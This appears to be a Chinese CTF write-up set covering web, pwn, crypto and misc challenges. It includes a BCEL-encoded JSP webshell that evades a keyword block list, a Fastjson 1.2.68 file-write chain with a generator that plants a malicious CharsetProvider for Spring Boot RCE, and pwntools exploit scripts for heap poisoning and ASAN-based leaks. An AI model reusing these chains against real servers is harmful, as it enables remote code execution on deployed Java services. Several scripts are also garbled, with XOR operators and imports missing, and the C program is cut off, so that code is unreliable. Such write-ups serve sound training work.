return new EncodingDetector.BomResult("UTF-8", 3);
} else if (count < 4) {
return new EncodingDetector.BomResult("UTF-8", 0);
} else {
int b3 = b4[3] & 255;
if (b0 == 0 && b1 == 0 && b2 == 0 && b3 == 60) {
return new EncodingDetector.BomResult("ISO-10646-UCS-4", 0);
} else if (b0 == 60 && b1 == 0 && b2 == 0 && b3 == 0) {
return new EncodingDetector.BomResult("ISO-10646-UCS-4", 0);
} else if (b0 == 0 && b1 == 0 && b2 == 60 && b3 == 0) {
return new EncodingDetector.BomResult("ISO-10646-UCS-4", 0);
} else if (b0 == 0 && b1 == 60 && b2 == 0 && b3 == 0) {
return new EncodingDetector.BomResult("ISO-10646-UCS-4", 0);
} else if (b0 == 0 && b1 == 60 && b2 == 0 && b3 == 63) {
return new EncodingDetector.BomResult("UTF-16BE", 0);
} else if (b0 == 60 && b1 == 0 && b2 == 63 && b3 == 0) {
return new EncodingDetector.BomResult("UTF-16LE", 0);
} else {
return b0 == 76 && b1 == 111 && b2 == 167 && b3 == 148 ? new EncodingDetector.BomResult("CP037", 0) : new EncodingDetector.BomResult("UTF-8", 0);
}
}
}
}
}

利用两者对于编码的识别结果不同,从而造成解析差异,进行绕过。
3. 绕过黑名单检测

JavaScript
String[] blackWordsList = {
//危险关键字
"newInstance", "Runtime", "invoke", "ProcessBuilder", "loadClass", "ScriptEngine",
"setAccessible", "JdbcRowSetImpl", "ELProcessor", "ELManager", "TemplatesImpl", "lookup",
"readObject","defineClass",
//写文件
"File", "Writer", "Stream", "commons",
//request
"request", "Request",
//特殊编码也处理一下
"\\u", "CDATA", "&#"
//这下总安全了吧
};

其中常见的关键字都会被拦截,其他的一些编码如unicode,html实体,cdata拆分也都加了关键字。并且加了文件类关键字,防止二次写文件进行绕过。
其实绕过的办法很多,这里提一种,利用bcel ClassLoader绕过。
以三梦的github项目为例:JSP-Webshells/1.jsp at master · threedr3am/JSP-Webshells (github.com)
bcel字节码webshell的原理在于com.sun.org.apache.bcel.internal.util.ClassLoader在loadClass的时候会解析并加载bcel字节码。但是题目中把loadClass以及newInstance关键字都给封禁了。
那么问题就变成了如何触发loadClass方法
实际上Class.forName在查找类的时候,如果使用了三个参数的重载方法使用自定义类加载器,就会调用其类加载器的loadClass方法。

PowerShell
<%
Class.forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$dbn$d3$40$Q$3d$h$3b$b1$T$i$d2$a6$84K$a0$c1$bd$Q$92$40$e3$G$nU$a8U$5e$Q$95$Q$$E$b8$w$8aP$l6$ee$w$dd$e2$da$91$b3$a9$faG$3c$f7$a5$m$q$f8$A$3e$K1kB$b9$ee$c3$cc$ce$99sf$8e$d7_$bf$7d$fa$C$e01$k$96p$F$f5$Sn$e3$8e$85E$h$N$hwm$b8$gX$b2$b0$5c$82$8d$V$L$ab$W$ee1$U$b6d$yU$9f$c1h$b5$f7$Z$cc$a7$c9$a1$60$a8$f82$W$_$a7$tC$91$ee$f1aDH$d5OB$k$ed$f3T$eaz$G$9a$eaHN$Y$8a$feH$a8$ed$88$8f6$Z$ec$ad0$9aMd$c4$a8$f9$c7$fc$94$7b2$f1$9e$ef$3e$3b$L$c5X$c9$q$sZ9P$3c$7c$b7$c3$c7$d9$q2$c5P$K$92i$g$8am$a9$t$3b$b3$89$5d$zw$e0$a0l$a1$e9$e0$3eZ$Ms$d9$c8$88$c7$p$_P$a9$8cG$e4$c0$h$ca$d8$h$f2$c9$RCn$zdh$e9$bb$bb$s$dd$7e$d3$f5$O$c5$a9$a7$c2$b1$d7$dbx$d4$edmt$d7$bb$3d$ef$J$jw$bd$df$ec9h$a3$c3$b0$f0$l$9b$O$k$a0$cc$60$cd$ac$fc$b1xwx$yB$c50$ff$Lz$3d$8d$95$3c$n$ef$r$S$5c$W$b5V$db$ff$87C$P$60$8a3$a1$7d$b6$de$fa$7f$7f$ce$e6$ef$8aWi$S$8a$c9$84$U$9515U$f6n$7b$v$P$F$96$a0$ff$b3$3e90$fdD$U$afR$e5Qf$94$f3$9d$P$60$e7Y$bbB$b1$90$81$G$e6$u$3a$3f$I$98G$95$b2$8d$85KqJ$a8$ee$ad$7cD$ae$f0$Z$c6$c0$a8$9a$c1$c0$ac$e6$83A$beZ$I$$$60$bdy$P$fbE$e7$C$c5$f3$8cX$c7$o$N0$b2$V$d7I$ac$X$d5Q$q$d4B$83$3a$cb$e4$f2$e7$ca$GL$5cC$zc$82$fa$b9$D$L7Lj$dc$cc$5c$de$fa$O$S$V$ac$c8$c2$C$A$A",true, new com.sun.org.apache.bcel.internal.util.ClassLoader());
%>

仅仅从源码看不出来这一点,forName0经过了一层native方法。下个断点从堆栈里可以看到这一过程。

img36.png

另外,黑名单中小写的lookup并不是非预期,原本的方法确实是小写。

img37.png

绕过是因为很多师傅找到了另一个重载方法doLookup,这是其中的一个预期解。

img38.png

很多人没有注意到这个重载方法。因为目前几乎所有jndi注入文章都说到的是第一个点lookup,而doLookup这个触发点需要翻看源码才能找到。
此题目为开放性题目,姿势很多。出题的本意就是想看看大家在遇到市面上大部分姿势都被ban掉的情况下会构造出什么有意思的绕过。
cover
1.说在前面
这题考虑了几个比较"偏门"的因素,说一下出这题的心路历程

  • 基本考点:Fastjson 1.2.68 AutoCloseable 任意文件写 + Springboot下基于任意文件写的RCE
  • 改难度+1:绕过指定类型的parseArray
  • 改难度+2:想过滤掉现有链子,自己挖一个新的,没挖成(时间有限.jpg),所以就敲定了已有的commons-io 2.x这条
  • 改难度+3:实际利用时受编码影响没办法无损写.class文件,遂改了一下链子,利用了jdk中的原生类。这里又涉及jdk版本的问题,所以选取了一个Centos下的jdk版本,即

java-1.8.0-openjdk-1.8.0.292.b10-1.el8_4,原因是这个jdk的class文件编译有本地变量表,使得fastjson能够调用有参构造方法初始化jdk类库中的类,保证了下面在改链时能够利用
ByteArrayInputStream等原生类。或许还有其他非预期的Gadgets,欢迎师傅交流
所以最终就把题出成了这个亚子,希望师傅们有所收获(逃...
大部分用rce做出来的师傅都是使用的覆盖charsets.jar的方式来实现rce的,这里有我的原因,题目没有明确说明存在classes和META-INF这些必要的目录(默认jre下是不存在的)。下面的wp针对SPI RCE的方式,覆盖jar的方式可以看看其他师傅的wp。复现的时候最好使用题目环境(否则fastjson的地方容易出错),到时候应该会放出来。
2.思路
2.1 报错泄露版本
首先在/dynamic_table下有可疑的点,尝试一些畸形json可以报错回显fastjson及版本信息

img39.png

Plain Text
["age":"20","id":1,"password":"hhhhhh","userName":"diggid"}] # 少了个左{

一开始没给依赖pom,其实也是可以通过@type和报错来探测存在的类从而推断依赖的
2.1 fastjson1.2.68 任意文件写
市面上常见的有三条链子,分别是基于@浅蓝、@rmb112、@voidfyoo的。浅蓝师傅的链子这里没有依赖,rmb112师傅的链子题目ban掉了。所以目标利用链是voidfyoo的commons-io 2.x的链子,题目也提供了commons-io 2.x的依赖。
三条链子可以参考:
https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/
commons-io 2.x 这里的XmlStreamReader可以换成BOMInputStream,思路差不多。但是这个链子有一个小问题,写正常的文件可以,比如xxx.txt、xxx.jsp等,但是写.class文件的话会写脏。原因是CharSequenceReader是对于CharSequence的
Reader,在生成payload的时候,我们需要读取要写的.class文件,以指定的格式(如"UTF-8")编码保存在CharSequence中,然后再以指定的格式解码写出到指定的文件中。而对于.class,是二进制文件,对于任何编码格式都会是乱码,因此会写脏文件。
所以需要改造一下链子,使其基于字节流来读写,这样才能实现无损写。
因此可以利用

  • java.io.ByteArrayInputStream 作为输入流,将Evil.class的文件读入保存在buf字节数组中。
  • java.io.BufferedOutputStream和

java.io.FileOutputStream作为输出流,写到任意文件中而BufferedOutputStream和FileWriterWithEncoding一样,都可以通过写入buf大于默认缓存8192字节来实现写出(flush)到文件中。所以改造后得到的链子结构大概如下,这里是嵌套的形式,上面的写法是$ref引用

JSON
{
"gg":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.BOMInputStream",
"delegate":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type": "java.io.ByteArrayInputStream",
"buf":"",
"offset":0,
"length":8193
},
"closeBranch":true,
"branch":{
"@type":"java.io.BufferedOutputStream",
"out":{
"@type":"java.io.FileOutputStream",
"file":"./Evil2.class",
"append":"false"
},
"size":8192
}
},"boms":[{
"charsetName":"utf-8","bytes":[]
}]
}
}

2.2 修改class文件使其刚好满足8192字节
先贴一下恶意SPI Provider的代码,SPI RCE看下面

Java
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.HashSet;
import java.util.Iterator;
public class Evil2 extends java.nio.charset.spi.CharsetProvider {
@Override
public Iterator charsets() {
return new HashSet().iterator();
}
@Override
public Charset charsetForName(String charsetName) {
if (charsetName.startsWith("Evil")) {
try {
String cmd = "xxx";
java.lang.Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
return Charset.forName("UTF-8");
}

/* 方便测试
public static void main(String[] args) throws Exception{
String cmd = "xxx";
java.lang.Runtime.getRuntime().exec(cmd);
}*
/
}

上面的fastjson payload可以生成任意8192字节的文件,但是对于.class文件,是有固定格式要求的,文件末尾并不能任意填充\x00。
我们可以在恶意provider的charsetForName方法末尾随意填充正常语句,直到其长度满足。所以需要用javassist或ASM手动修改一下字节码使其满足8192字节

Java
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.reflect.Field;
public class GenPayload {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(Evil2.class.getName());
CtMethod m = cc.getDeclaredMethod("charsetForName");
String one = "{ System.out.println(\" \");}";
m.insertAfter(one);
int len = cc.toBytecode().length;
String prefix = "{ System.out.println(\"";
String subfix = "\");}";
// 8176不是固定的,可以自己测来改
String data = prefix + repeatString(" ", 8176-len-prefix.length()-subfix.length(), "", cc) + subfix;
Field wasFrozen = cc.getClass().getDeclaredField("wasFrozen");
wasFrozen.setAccessible(true);
wasFrozen.set(cc, false);
m.insertAfter(data);
System.out.println(cc.toBytecode().length);
cc.writeFile("./");
}
public static String repeatString(String str, int n, String seg, CtClass cc) {
StringBuffer sb = new StringBuffer();
for (int i = 0; i < n; i++) {
sb.append(str).append(seg);
}
return sb.substring(0, sb.length() - seg.length());
}
}

2.3 绕过指定类型parseArray
题目中的parse是
List userList = JSON.parseArray(data, User.class);
可以使用以下结构来绕过

Plain Text
[{
"dd":{
"@type":"java.util.Currency",
"val":{
"currency":{
[上面的部分]
}
}
}
}]

可以保证绕过指定类型且实例化所有对象,稳定触发所有getter(这里只需要触发
BOMInputStream#getBOM)具体可以调试一下,重点在MiscCodec#deserialze和DefaultJSONParser#parseExtra
2.4 生成payload
下面的代码可以读取指定.class文件生成fastjson的payload。在文件末尾填充
\x00。

Java
public class GenPayload {
public static final String AUTOCLOSEABLE = "\"@type\":\"java.lang.AutoCloseable\",";
public static String bypassSpecializedClass(String payload) {
return "{\"dd\":" + payload + "}";
}
public static String useCurrencyTriggerAllGetter(String payload) {
return String.format("{\"@type\":\"java.util.Currency\",\"val\":{\"currency\":%s%s}}%s",
"{\"gg\":", payload, "}");
}
public static String generateTeeInputStream(String inputStream, String outputStream) {
return String.format("{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":%s," +
"\"closeBranch\":true,\"branch\":%s}", inputStream, outputStream);
}
public static String generateBOMInputStream(String inputStream, int size) {
int nums = size / 8192;
int mod = size % 8192;
if (mod != 0) {
nums = nums + 1;
}
StringBuilder bytes = new StringBuilder("0");
for (int i = 0; i < nums * 8192; i++) {
bytes.append(",0");
}
return String.format("{%s\"@type\":\"org.apache.commons.io.input.BOMInputStream\",\"delegate\":%s," +
"\"boms\":[{\"charsetName\":\"GBK\",\"bytes\":[%s]}]}",
AUTOCLOSEABLE, inputStream, bytes);
}

public static String generateByteArray(byte[] content, int len) {
int mod = 8192 - len % 8192;
byte[] bytes = new byte[8193];
for (int i = 0; i < len; i++) {
bytes[i] = content[i];
}
byte[] encode = Base64.getEncoder().encode(bytes);
System.out.println(new String(encode, StandardCharsets.UTF_8));
return String.format("{\"@type\": \"java.io.ByteArrayInputStream\",\"buf\":\"%s\", \"offset\":0, " +
"\"length\":8193}", new String(encode, StandardCharsets.UTF_8));
}
public static String generateBufferedOutputStream(String content){
return String.format("{\"@type\":\"java.io.BufferedOutputStream\",\"out\":%s,\"size\":8192}", content);
}
public static String generateFileOutputStream(String filePath) {
return String.format("{\"@type\":\"java.io.FileOutputStream\",\"file\":\"%s\",\"append\":\"false\"}", filePath);
}
public static byte[] readBytes(File file) throws Exception{
FileInputStream fis = new FileInputStream(file);
byte[] bytes = new byte[fis.available()];
fis.read(bytes);
return bytes;
}
public static String generatePayload(String payloadFile, String targetFilePath) throws Exception {
File file = new File(payloadFile);
byte[] bytes = readBytes(file);
if (bytes.length != 0) {
return bypassSpecializedClass(
useCurrencyTriggerAllGetter(
generateBOMInputStream(
generateTeeInputStream(generateByteArray(bytes, (int)file.length()),
generateBufferedOutputStream(
generateFileOutputStream(targetFilePath)
)
),
(int) file.length())
));
}
return "";
}
public static void main(String[] args) throws Exception{
String file = "./Evil2.class";
String target = "/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.292.b10-1.el8_4.x86_64/jre/classes/Evil2.class";
// /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.292.b10-1.el8_4.x86_64/jre/classes/META-INF/services/java.nio.charset.spi.CharsetProvider
String payload3 = generatePayload(file, target);
payload3 = "[" + payload3 + "]";
System.out.println(payload3);
}
}

2.4 Springboot SPI RCE
题目Springboot环境是2.5.6,且给出了JRE_HOME,在JRE_HOME下也有classes目录和META-INF/services目录,配合任意文件写,直接利用SPI机制在特定的条件下触发恶意SPI Provider的代码。具体原理可以参考
https://landgrey.me/blog/22/
https://threedr3am.github.io/2021/04/14/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84SpringBoot%20RCE/
所以有以下两种触发方式,两种触发方式都是Charset.forName("Evil2")

  • Accept头触发

Accept: multipart/form-data;charset=Evil2
Evil2是恶意SPI Provider的类名。这里的Accept头是有格式要求的(不同的Springboot版本对于MediaType.parseMediaTypes(headerValues)处理不同),要求必须是multipart且charset是全部小写的。

  • Fastjson

[{"xxx":{"@type":"java.nio.charset.Charset","val":"Evil2"}}]
根据链接中的原理,我们需要利用两次文件写,第一次写恶意的SPI Provider,第二次写java.nio.charset.spi.CharsetProvider,内容是Evil2,但是由于需要满足8192字节,在前面的生成payload中填充的是\x00,因此在实际获取文件内容时不会受到填充值的影响,获取到的还是Evil2
两种触发方式,都受字符缓存的影响,如果已经调用到Charset#forName但是没执行命令成功的话可能当前名称的字符就会被缓存,下次再打的话使用的SPI Provider恶意类就还是原来那个(即使重新覆盖Evil2.class)。可以换一个类名重新打(或者等重启.jpg),比如改为charset=Evil3这样。另外,一次弹不回shell可以多发几次包。
3.一些非预期
呜呜呜给师傅们磕头orz...

  • commons-io2逐字节盲注
  • 用作测试的/test没删,黑名单拦截器没拦.orz

PWN
spn
这个题目设计上本身存在一个很大的漏洞,验题的时候疏忽了。题目的本意是:对于一个SPN加密的程序,我可以将你的输入进行SPN加密。在给出了P盒、S盒和密钥的情况下,SPN对称加密算法是存在解密函数的。设计出解密函数后就可以正常输入了。题目的漏洞是堆溢出,edit可以多写100字节。利用tcache投毒即可快速实现任意地址写的功能。题目给出了shell变量,只需要让这个变量的值不为0就可以通过后门函数得到shell。
很大的漏洞点:其实shell可以直接通过栈溢出的方式改掉,这样就可以不用管spn加密过程,直接alloc一个size很大的堆块(大于0x2000),填充时0x2000大小时read函数会将很大空间上的区域通过copy溢出到shell处直接改写内部值。(应该把shell放在数组前面的,我错了),比赛拿到flag的师傅中大约有1/3的师傅看出了这个巨大的栈溢出漏洞。
原脚本如下:不成功请多尝试几次

Apache
from pwn import *
#p = process('./SPN_ENC')
p = remote("192.168.11.157",1999)
#context.log_level = "debug"
SBox = [ 14,4,13,1,2,15,11,8,3,10,6,12,5,9,0,7 ]
PBox = [ 1,5,9,13,2,6,10,14,3,7,11,15,4,8,12,16]
SBoxRE = [ 14,3,4,8,1,12,10,15,7,13,9,6,11,2,0,5 ]
masks = [ 0x8000,0x4000,0x2000,0x1000,0x800,0x400,0x200,0x100,0x80,0x40,0x20,0x10,0x8,0x4,0x2,0x1 ]
key = 0x3a94d63f
def S_reSub(a):
mask = 0xF
ret = 0
for i in range(0,16,4):
ret = ret | (SBoxRE[(a & (mask << i)) >> i] << i)
return ret
def P_reSub(a):
ret = 0
mask2 = 0x8000
mask1 = 0x8000
for i in range(0,16):
if a & (mask1 >> (PBox[i] - 1)) != 0:
ret = ret | masks[i]
return ret
def DSPN(a):
b = a
ret = ''
key1 = (key >> 16) & 0xFFFF
key2 = (key >> 12) & 0xFFFF
key3 = (key >> 8) & 0xFFFF
key4 = (key >> 4) & 0xFFFF
key5 = (key) & 0xFFFF
while b:
d = u16(b[:2])#.ljust(2,'\x00'))
#print(hex(d))
v = d key5
u = S_reSub(v)
w = key4
u

v = P_reSub(w)
u = S_reSub(v)
w = key3 u
v = P_reSub(w)
u = S_reSub(v)
w = key2
u

v = P_reSub(w)
u = S_reSub(v)
w = key1 ^ u

ret = ret + p16(w)
b = b[2:]
#print(ret)
return ret
def alloc(index,size):
p.recvuntil('0.exit')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Index:')
p.sendline(str(index))
def edit(size,index,content):
p.recvuntil('0.exit')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Size')
p.sendline(str(size))
p.recvuntil('Content')
p.sendline(str(DSPN(content)))
def edittest(size,index,content):
p.recvuntil('0.exit')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Size')
p.sendline(str(size))
p.recvuntil('Content')
p.send(content)
def free(index):
p.recvuntil('0.exit')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(index))
def show(index):
p.recvuntil('0.exit')
p.sendline('4')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('gift:')
target_addr = int((p.recvuntil('\n',drop=True)),16)
print(hex(target_addr))
alloc(1,0x18)
alloc(2,0x88)
alloc(3,0x88)
alloc(4,0x18)
free(3)
free(2)
edit(0x24,1,p8(0) * 0x20 + p32((target_addr) & 0xFFFFFFFF))
alloc(5,0x88)
alloc(6,0x88)
edit(0x10,6,p64(0xabcdabcdabcdabcd) * 2)
p.sendline('5')
p.interactive()

Checkin
题目开了sanitizer,但是在cflag中加了一个不常见的-fsanitize-recover=address ,搜索能够得知ASAN_OPTIONS这个环境变量能够控制asan运行时的行为,其中halt_on_error就是在发生非致命错误的时候不会退出程序。环境变量必然会被解析成标志位,可以用题目给出的任意写将对应的标志位设置好,就能在后边的一次单字节溢出时把栈给打印出来,拿到地址就可以直接使用one_gadget。
环境变量ASAN_OPTIONS=halt_on_error=0对应的内存中的位置不大好找,可以读源码也可以直接diff内存。用diff会非常快,把bss dump下来diff之后发现就一处不同,正好就是我们的目标。
(wp中出现了各种其他打法,大佬们太强了)

img40.png


img41.png

Python
from pwn import *
context.log_level="debug"
p = remote("123.60.97.201", 9999)
elf = ELF("../bin/checkin")
libc = ELF("./libc-2.27.so")
p.sendlineafter("for you:", str(elf.symbols["_ZN6__asan28asan_flags_dont_use_directlyE"]+112))
p.send("\x00")
# gdb.attach(p)
p.send("a"*0x20)
p.recvuntil("#2 ")
libc_addr = int(p.recvline().split(" ")[0], 16)
libc_addr -= libc.symbols["__libc_start_main"]
libc_addr >>= 12
libc_addr <<= 12
log.success("libc addr: 0x%x" % libc_addr)
p.sendafter("fun!", p64(libc_addr + 0x10a41c))
# p.sendline("cat flag")
p.interactive()

slow-spn
题目思路是使用侧信道攻击泄露密码学算法中的信息,对明文与秘钥进行恢复。受限于物理环境与复杂程度,直接写了个简单的缓存模拟。针对缓存的侧信道攻击主要是flush reload、prime probe等几种,思路都是对缓存做些操作,等受害者运行一会儿后观察访存的时延。几种方法在这题中都可以用,在破解时间上可能有些不同。
比较快的方法是:先用一块区域把缓存填满,观察下一次访存是否会跳过sleep,可以判断访存位置是否在这块区域中。等待程序完成访存后,再遍历这块区域,观察哪一个cache line的访问会被加速。
vul_service
设计思路:服务程序存在filename的TOCTOU,原本逻辑是把原来的dacl加上一个删除权限,如果在获取原文件的dacl后攻击者利用symlink重定向filename到系统文件,即可让系统文件获取新的dacl进而被低权限用户修改,最终导致权限提升。
题目设计时在vul_service触发oplock到setdacl之间有足够的窗口让attacker删除tmp目录下的文件,tmp文件夹作为一个MountPoint映射到\RPC Control\,事先布置好\RPC Control\your_file -> C:\Windows\System32\vul_service.exe,当SetFileSecurity(tmp\your_file)时vul_service.exe获得your_file的dacl,攻击者获得修改其内容的权限,借助计划任务完成任意代码执行。
Crypto
EzECDSA
当时既想出格密码,又想出椭圆曲线的,所以闲逛github的时候发现了: https://github.com/bitlogik/lattice-attack
用线性矩阵和格基规约来解决Hidden Number Problem。
ECDSA签名的流程如下:

img42.png

从题目中,我们每次都能给一段信息去进行签名。可以得到的信息有 r, s, kp(k的低8bit)和hash。但因为每一次的k都是随机生成的,仅凭借这些已知信息显然无法将dA直接算出。
常规的对于ECDSA的攻击,主要是有重复k或者随机数生成器可预测,但此处都不行。但可以看到,题目中给了kp,很显然是和这方面有关系的。
从代码就可以看出,是需要通过部分k恢复ECDSA的数据,通过检索,还是能找到许多关于ECDSA leak lsb k的论文,或者能直接找到出题人当时看的工具了。

Python
from hashlib import *
from pwn import *
import json
import string
import itertools
import subprocess
r = remote('127.0.0.1', 23333)
data = {}
info = []
r.recvuntil(b"+")
part = r.recvuntil(b")")[:-1].decode("utf-8")
# print(part)
r.recvuntil(b"= ")
suffix = r.recvline().strip().decode("utf-8")
# print(suffix)
r.recv()
pts = itertools.product(string.printable, repeat=4)
for pt in pts:
p = "".join(list(pt)) + part
ct = sha256(p.encode()).hexdigest()
if ct == suffix:
r.send(p[:4].encode())
break
data["curve"] = "SECP256K1"
publickey = r.recvline().decode().strip('(').strip('\n').strip(')').split(', ')
publickey = list(map(eval, publickey))
data["public_key"] = publickey
data["known_type"] = "LSB"
data["known_bits"] = 8
for _ in range(100):
r.recvline()
r.send(b'hello\n')
tmp = {}
r_sig = int(r.recvline().decode().strip("r = ").strip('\n'))
s_sig = int(r.recvline().decode().strip("s = ").strip('\n'))
kp = int(r.recvline().decode().strip("kp = ").strip('\n'))
hash = int(r.recvline().decode().strip("hash = ").strip('\n'))
tmp["r"] = r_sig
tmp["s"] = s_sig
tmp["kp"] = kp
tmp["hash"] = hash
info.append(tmp)
data["signatures"] = info
with open("data.json", "w") as f:
json.dump(data, f)
# r.interactive()
r.recvline()
res = subprocess.Popen('python3 exp/lattice_attack.py -f data.json', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True)
# https://github.com/bitlogik/lattice-attack
result = res.stdout.read().decode().split('\n')[:-2]
sKey = str(int(result[-1], 16)).encode()
r.sendline(sKey)
print(r.recv())

p0o0w
TLDR:爆破前几个值,预测后面的随机数
题目大概实现了一个Xorshift128+伪随机数生成器,初始seed来自时间,未知。
这个随机数生成器也是node(v8)中的伪随机数生成器 Math.random()
https://github.com/nodejs/node/blob/e46c680bf2b211bbd52cf959ca17ee98c7f657f5/deps/v8/src/base/utils/random-number-generator.cc
这个PRNG并不是密码学安全的,可以被很简单的预测,在网上搜搜也能找到相关的资料、脚本。
如果没认出来算法是哪个也没关系,对于不少算法,尤其是这种移来移去异或的,使用z3的求解都十分有效,看到先搞一把再说,这算是比较无脑的做法。
L-Team的师傅们比较详细的分析这个算法,比较hardcore,tql。

Python
import hashlib
from z3 import
from pwn import
import re
import string
import time
# Hack for mbruteforce on macos
import multiprocessing
multiprocessing.set_start_method('fork')
MASK = 0xFFFFFFFFFFFFFFFF
# context.terminal = ["tmux","split","-h"]
context.log_level = 'DEBUG'
start = b''
target_hash = ''
def hhash(end):
end = end.encode()
return hashlib.sha256(start+end).hexdigest() == target_hash
def solve_init(states):
print(states)
init_s0, init_s1 = BitVecs('init_s0 init_s1', 64)
s0_ = init_s0
s1_ = init_s1
s = Solver()
for i in states:
s1 = s0_
s0 = s1_
s1 = (s1 << 23)
s1
= LShR(s1, 17)
s1 = s0
s1
= LShR(s0, 26)
s.add(s0+s1 == i)
s0_ = s0
s1_ = s1
print(s.check())
m = s.model()
return m[init_s0].as_long(),m[init_s1].as_long()
class XorShift128():
def init(self,s0,s1) -> None:
self.s0 = s0
self.s1 = s1
def get(self):
s0_ = self.s1
s1_ = self.s0
s1_ = (s1_ << 23) & MASK
s1_
= (s1_ >> 17) & MASK
s1_ = s0_
s1_
= ( s0_>>26 ) & MASK
self.s0 = s0_
self.s1 = s1_
return (self.s0 + self.s1) & MASK
if name == "main":
r = remote("121.36.201.164",9999)
start_time=time.time()
outs = []
for unknown in range(3,7):
ret = r.recvuntil(b'ell me the ? in sha256(?):').decode()
start = re.findall(r'sha256\(([0-9a-f]
)\
',ret)[0].encode()
target_hash = re.findall(r'== ([0-9a-f]*)\n',ret)[0]
log.success(f'start: ')
log.success(f'target_hash: ')
res = iters.mbruteforce(hhash,string.hexdigits,unknown,method='fixed')
log.success(f'found ')
res= start+res.encode()
outs.append(int(res,16))
r.sendline(res)
s0,s1 = solve_init(outs)
ran = XorShift128(s0,s1)
for _ in outs:
print(ran.get(),_)
for i in range(7,17):
r.recvuntil(b'ell me the ? in sha256(?):').decode()
ret = f'{ran.get():016x}'
r.sendline(ret.encode())
print(time.time()-start_time)
r.interactive()

关于逆向的部分,程序是rust编写的,确实看起来会比较恶心,但是但是整体逻辑不长,没有去除符号表的话,配合一些demangle插件还算是比较好分析,已经没什么好怕的了.wav
程序逻辑在p0o0w::main处,随机数的生成逻辑在p0o0w::Magic::get

img43.png

看上去也十分的清晰
PS.题目来自有一天闲逛在Twitter看到的推文
https://twitter.com/David3141593/status/1445361492979851267

img44.png
img45.png

Misc
Can0keys
题目给了项目地址https://github.com/canokeys/canokey-stm32
情景是使用canokey配合gpg加密了一个文件
此题目需要一定耐心,因为gpg代码写的又臭又长
看下canokeys项目,大概了解一下gpg的工作原理,可以知道flag.txt.gpg是加密后的文件,naivekun.asc是公钥,firmware.bin是canokey的固件
gpg在加密flag.txt时调用公钥,解密时通过canokey设备验证PIN并解密KEK,由KEK解密naivekun.asc
首先需要找到存在canokey 固件中的私钥,翻canokey公开的源码,找到0x28000偏移的littlefs
根据源码中lfs_init中的参数,通过littlefs-fuse工具挂载固件中抠出来的littlefs

img46.png

读源码,发现解密流程是这样

  1. gpg从flag.txt.gpg中取出加密后的KEK(密钥加密密钥)
  2. gpg把加密后的KEK发到Canokey,Canokey根据存储的gpg-deck作为ECC私钥解密,得到解密后的KEK,传给主机的gpg程序
  3. gpg计算公钥的一些参数,公钥指纹,等等一些信息
  4. gpg将(2)中解密后的KEK和(3)的公钥指纹一堆信息sha256,此sha256即为flag.txt.gpg数据部分加密的密钥(Session Key)
  5. 主机的gpg程序使用4中的(Session Key)解密flag.txt.gpg

(省略判断gpg密钥id,加密算法选择,数据格式等等细节)
读源码的时候建议配合gpg的--debug-all参数看,很容易就能定位一些关键步骤
首先第一步从flag.txt.gpg抠出来加密后的KEK

SQL
root@debian-aws:~/l3hctf2021/can0keys# gpg --list-packets -v flag.txt.gpg
gpg: public key is 41B219106421AD4A
gpg: using subkey 41B219106421AD4A instead of primary key 363E4A3FBAEE4329
gpg: pinentry launched (29298 curses 1.1.0 /dev/pts/4 screen localhost:10.0)
gpg: using subkey 41B219106421AD4A instead of primary key 363E4A3FBAEE4329
gpg: encrypted with 256-bit ECDH key, ID 41B219106421AD4A, created 2021-11-11
"naivekun (naivekun's can0key) naivekun0817@gmail.com"
gpg: public key decryption failed: Operation cancelled
gpg: decryption failed: No secret key
# off=0 ctb=84 tag=1 hlen=2 plen=94
:pubkey enc packet: version 3, algo 18, keyid 41B219106421AD4A
data: 408D4348240809DB5E9DBF36370A837BAD0B96A3C587E5FAB26E9F5BF2EF167F75
data: 302C9FBA905FA70B7305C123C41A51A72CF8DFB734201FD1A67C3786A2363EF2F1C9D75A1AE0F4158A9C2FDAB6890C889B
# off=96 ctb=d2 tag=18 hlen=2 plen=108 new-ctb
:encrypted data packet:
length: 108
mdc_method: 2

图中408D4348240809DB5E9DBF36370A837BAD0B96A3C587E5FAB26E9F5BF2EF167F75就是加密后的KEK(40是长度)
写个程序解密

C++
#include <stdarg.h>
#include <stddef.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <ctype.h>
#include "ed25519.h"
#define SWAP(x, y, T) do while (0)
void
hexdump(uint8_t data, int len)
{
for(int i=0;i<len;++i) {
printf("%02x", data[i]);
}
putchar('\n');
}
void swap_big_number_endian(uint8_t buf[32]) {
for (int i = 0; i < 16; ++i)
SWAP(buf[31 - i], buf[i], uint8_t);
}
int main(int argc, char
argv[]) {
if (argc != 2) {
puts("usage: ./dec 112233445566\n");
return -1;
}
char* input_hex_str = argv[1];
int input_hex_str_len = strlen(argv[1]);
if (input_hex_str_len % 2 != 0) {
puts("invalid input\n");
return -1;
}
uint8_t input_bytes = malloc(input_hex_str_len/2);
int count=0;
for(char
i=input_hex_str;count < input_hex_str_len/2; count+=1) {
sscanf(i, "%2hhx", input_bytes+count);
i += 2;
}
